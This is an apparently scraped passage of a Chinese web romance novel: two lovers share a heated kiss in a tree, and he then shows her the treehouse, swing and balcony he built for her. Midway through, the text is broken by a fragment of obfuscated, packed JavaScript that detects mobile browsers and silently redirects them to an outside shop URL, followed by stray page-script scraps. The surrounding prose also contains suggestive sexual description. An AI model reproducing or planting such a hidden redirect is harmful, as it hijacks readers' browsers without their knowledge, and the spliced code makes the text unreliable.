阮灵被困在方寸之间,鼻尖充斥着他强势的气息,手心滚烫濡湿,在不为人知的树影幢幢中,尼格恣意地抹去她身上属于别人的味道,再印上自己的。
她宛若在烈阳下的海水中沉浮,四面八方晃荡的海水将她包围,双腿使不上力。
从未感受过如此炙热的情感,阮灵抬头看着尼格专注的半阖的眼眸,深邃的令人沉醉。
她觉得摇晃,不禁紧了紧左手,抓紧了他胯骨边缘的布料。
尼格吻在她手心的动作微顿,他顺着这股小小的牵力垂头,嫩生生的小手攥着他胯上的布料,若有似无地蹭着里侧紧实的肌肉,他呼吸一滞。
阮灵也顺着他的目光看过去,明显看到他腹部蓦地收缩,一块块肌肉瞬间绷紧,她心慌地抬眼去看尼格神色,就见他突然逼近,被他握着的右手松开,搭在了他胸前。
腰上重新被尼格一只大掌控住,压向他。
灼热的气息喷洒在面上,尼格一双滚烫的眼将她锁住,浑身上下都在说着占有她,但每一根头发丝又刻着克制,他有一股无处宣泄的闷气,从看到她和其他雄性站在一起,用那只小手勾住其他雄性的衣物。
尖牙深处钻着痒意,唯有狠狠埋进她身体才能获救。
剑眉上,发鬓前隐隐青筋起伏,一只小手轻轻抚了上去,尼格眉眼微动。
微微泛着凉意的指尖拂去躁意,阮灵看着他又紧抿不语的唇,叹了口气,微踮起脚,轻轻将唇送上,贴至他唇边。
大掌下的腰身拉出凹陷弧度,微踮的脚跟却轻轻发着颤,很快无力落下。
香甜转瞬即逝在他欲追的开阖的唇间。
但微微拉开的距离,令他看清了阮灵的眼波流转,她目光如丝,丝丝缕缕勾缠起他心中巨大的满足与欣喜。
喉间滚动,呼吸都在抖动,尼格垂下头去追吻,树枝摇曳,他一下一下啄吻着,似确认,似谨慎,在感受到轻微的回应后,再也无法忍受,他猛地弓起背将怀中人捞起,大掌托着她的臀压向自己,另一只手扶在她颈后抵在树上。
阮灵顺势双腿盘在了尼格腰上,胳膊勾住他的脖子,二人视线快要平齐,尼格轻松衔住她的唇。
树枝一阵猛烈摇晃,尼格不再克制,将阮灵唇瓣车欠肉.含在嘴里裹吮,劲舌捣开牙关,长驱直入,寻到香甜嫩滑的小舌,好一通卖力品尝,咂吮。
阮灵吃力地回应着,腮边都发着酸,一只手不禁意滑落,抚在尼格起伏有力的胸膛上,深埋底下的心跳宛若敲击在她的心脏。
忘乎所以,乐此不疲,这一吻像永远也结束不了,她该表扬尼格还知道给她喘息的时间。
短暂退出,阮灵微张着红肿的唇,鼻翼翕动急促地喘着,尼格印下几吻在她鼻尖,脸颊,似乎怜爱。
但下一秒又毫不留情的继续封缄住檀口,捣得她头向后仰去,又被他大掌抵住,口中香津尽数被撷,风穿过树梢窸窣作响,掩不住阵阵吞咽声。
狂风骤雨般的掠夺,阮灵指尖触到他胸膛上冒出的细汗,自然也感受到了他那处的变化。
她呜咽着推了下不知节制的野人,可想而知的如蚍蜉撼树没有撼动他半分,狠心咬下牙关,口中游蛇微顿,慢慢缩了回去。
阮灵趁机侧过脸,瞬间下半张脸都从滚烫中获得清凉,她感受到尼格下意识还欲追,赶紧抬手捂了他的嘴,拉开距离,抬头看他眼中幽蓝暗沉的眼中冒出一丝委屈与不餍足。
她舌根酸痛,唇瓣发麻,他竟然还不知餍足,阮灵哆嗦着说:“我没力气了,歇歇好不好?”
尼格拧了拧眉,启唇说出了自方才见面到现在的第一句话,嗓音粗哑:“不用你出力。”
“......”
阮灵手心被他说话的热气烫的一抖。
是,此情此景,她整个人被他托着臀抱在怀里,看似丝毫没有出力,但她确实浑身都酸疼不已。
况且...他身上带的东西还抵着她。
“那你消气了没?”
尼格眸中微缩,看着她慢慢点了下头。从她主动亲近他,愿意回应他那刻,他心中只剩冲天的喜悦。
“好,那现在依着我,我把手放下,不准再亲了。”
尼格眼中露出失望,但还是哑着嗓,应了一声。
阮灵低头看了一眼,难耐不适地动了动,刚想叫他放下自己,却听尼格闷哼一声,大掌抓握陷入,臀部被用力压了一下。
阮灵涨红了脸,急道:“你快放我下来,我腿酸了...”
她听到脑后一阵树木被捏碎的声音,尼格向前跄了一步,这次轮到阮灵闷哼出声,因他还紧紧托着的大掌。
勾着的腿一瞬间松了,阮灵推着他向后仰,眼看树干上被他捏得刺起的碎木要滑伤她的后颈,尼格抱着她飞快旋过身,他自己的后背狠狠撞上树干,阮灵惊呼着伏在他胸前。
尼格单手横过掐.握着她的臀,她双月退无力地支在他月夸骨两侧,就着这姿势,他后背抵着树干滑坐而下。
他一条腿支起,阮灵跪坐在他的腰月复间,心跳极快,一时不敢乱动。
还好这颗大树够粗壮,枝桠繁茂,纵横交错,能容得他们二人这番折腾。
好一阵沉默,只能听见尼格在她耳边米且重的喘.息,染红了她的耳尖。
一头秀发披散在背,在洒落在一只筋骨分明的大掌上,阮灵轻轻抬起身子,大掌滑落至腰间。
她向下飞快扫了一眼,只能看到他微凹的腰腹,肌肉埋在一层紧致的皮下,与她的衣袂相接。
抬眼就撞进他布着血丝的深眸中,呼吸一滞,阮灵感觉脸又热了几度。
或许,问下渊婆或者丑伯,有没有避子的方子?
偷咬了下内侧的唇肉,美色当前,她内分泌正常,不馋不正常。
尼格先打破了沉默,“歇好了?”
?
阮灵见他钩子般的目光又游移在她唇间,无奈道:“再继续,难受的可是你。”
他抿着唇似乎想了一会,听懂了。
即使是坐在他身上的姿势,尼格还是高了她几许,他弓着腰起身,背部离开树干,向她贴近。
原本放松的姿态绷紧,阮灵缓缓靠在他支起的腿上,尼格留有木屑的手一直没有碰她,此时撑在一边,腰间那只大掌抚上她的面颊,见他一双深邃幽暗的眸子认真地盯着她。
“阮灵。”
第一次听他这样深沉地唤她的名字。
“我是你的伴侣。”
“你也只能被我,拥有。”
低沉,缓慢而有力的一句话,像是被他用锤一个字一个字敲进她的身体,她愣愣地凝视着咫尺距离的两潭深渊般的眼眸,尼格很少对她露出强势,她感受到了来自于他的危险的占有欲。
以及,他告急的忍耐力。
尼格拇指摩挲着她的脸颊:“今夜,带你去个地方。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114552|149813||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>-
夜色如墨,尼格带着她在林中穿梭,树影在地面拉长,深幽静谧中他们仿佛是唯一的夜行动物。
耸入黑夜的树影以极快的速度后退。
突然,尼格停在一处,前方依稀亮着微弱的光,阮灵被他放下,双脚着地后看了他一眼,慢慢踱步在略感熟悉的地面上。
她不如尼格夜能视物,所以走的格外小心,尼格极具耐心地跟在一旁。
寻着幽幽蓝光,穿过影影绰绰的树干后终于露出全貌,是悬挂在树枝上的一团蓝色发光体,不,是好多团,放眼望去,繁星点点,沿着蜿蜒林道延伸而去。
“是星虫?”阮灵很快猜到,是用一个个布袋装满了星虫悬于枝上。
尼格垂眼看着阮灵闪耀着星星点点的眸子,点头。
她脚下的步伐轻快了,满目的光团将这一片空间蒙上朦胧光晕,若有似无的幽蓝薄雾笼罩其中,阮灵惊喜地看着,不时旋过身回望尼格,又迫不及待向前走去,落在尼格眼中,是比夜间星虫更耀眼的存在。
是尼格巢居的木屋,她第一次遇见尼格的地方,阮灵顿住脚步。
古木葱茏,巨树环抱着木屋攀于数米高的枝桠上,巨大的树冠遮天蔽日,此时同样挂着许多幽蓝光团,木屋中燃着火种,热烈暖光跳出,印着木屋门前新建的悬梯,旋转绕于枝干上,再从最低处的枝干直通地面。
以及,垂挂而下的随风摆动的秋千。
“试试?”尼格在身旁问。
未等阮灵话音落下,腰间一紧,他已搂着阮灵飞速掠上了秋千横板,阮灵惊呼着搂紧尼格,巨大的冲击惯性令秋千荡起老高,几个起落她才敢睁眼,二人站于横板之上,尼格单手握住结实的藤蔓,还能腾出一手将她搂住,轻松随着秋千大起大落地摆动。
阮灵渐渐放松下来,一手同他一样握住藤蔓,一手抓在尼格腰后,将身体交给这股力量。
“你将我之前随手画的秋千做了出来。”她仰头说。
“不难。”
是不难,但她只是画了几条简单的线,他能做到这个程度,这个男人已经太有魅力了。
“上去看看。”尼格说,接着他借着秋千荡起的惯性带着阮灵直接跃上了木屋。
木屋中已不复初始空荡的模样,新添了木床,浴桶,木柜,桌子...他竟将她曾经描述过的一一实现,全做了出来。
木屋尽头,还开了一扇门窗,她走过去拉开。
“不知你所说的阳台,可是这样?”
窗外是一处搭在树桠上的围栏平台,粗壮枝干托举,有一粗壮树干破木而出向上生长,仿佛浑然一体。临树的树冠攀延过来,高低掩映。
阮灵可以想象,日出时,阳光洒在这处平台上是何景象。
心中胀得满满的,阮灵眸光微颤,原来他这段时间一直在做这些。
“谁让你做这些了...”
“从悬梯也可以过来。”尼格说着,先走了出去。
阮灵踩着微弱的月光,跟在尼格身后,果然,平台旋着走到尽头,正巧连着悬梯,这处在木屋背后,方才竟没有注意到。
二人面对站在围栏边,今夜的月光有些暗淡,但不妨碍尼格将阮灵的细微神色都纳入眼中。
他问:“喜欢吗?”
“以后,你想怎么改,都可以。”
他不知道阮灵以前的生活是什么样子,但他想竭尽所能,来满足她。